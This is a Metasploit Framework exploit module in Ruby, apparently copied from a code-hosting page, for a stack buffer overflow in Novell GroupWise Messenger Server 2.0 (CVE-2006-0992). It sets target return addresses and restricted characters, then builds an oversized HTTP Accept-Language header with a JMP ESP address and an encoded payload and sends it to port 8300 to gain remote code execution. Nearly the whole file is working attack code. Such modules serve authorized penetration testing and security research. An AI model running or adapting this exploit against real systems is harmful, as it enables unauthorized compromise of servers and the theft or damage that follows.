78 lines
2.1 KiB
Ruby
78 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell Messenger Server 2.0 Accept-Language Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Novell GroupWise
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Messenger Server v2.0. This flaw is triggered by any HTTP
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request with an Accept-Language header greater than 16 bytes.
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To overwrite the return address on the stack, we must first
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pass a memcpy() operation that uses pointers we supply. Due to the
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large list of restricted characters and the limitations of the current
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encoder modules, very few payloads are usable.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2006-0992'],
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['OSVDB', '24617'],
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['BID', '17503'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Groupwise Messenger DClient.dll v10510.37', { 'Rets' => [0x6103c3d3, 0x61041010] }],
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],
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'DisclosureDate' => 'Apr 13 2006'))
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register_options( [ Opt::RPORT(8300) ], self.class )
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end
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def exploit
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connect
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lang = rand_text_alphanumeric(1900)
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lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
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lang[272, 4] = [target['Rets'][1]].pack('V') # DST
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lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
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lang[268, 2] = "\xeb\x06"
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lang[276, payload.encoded.length] = payload.encoded
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res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"
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print_status("Trying target address 0x%.8x..." % target['Rets'][0])
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sock.put(res)
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sock.close
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handler
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disconnect
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end
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end
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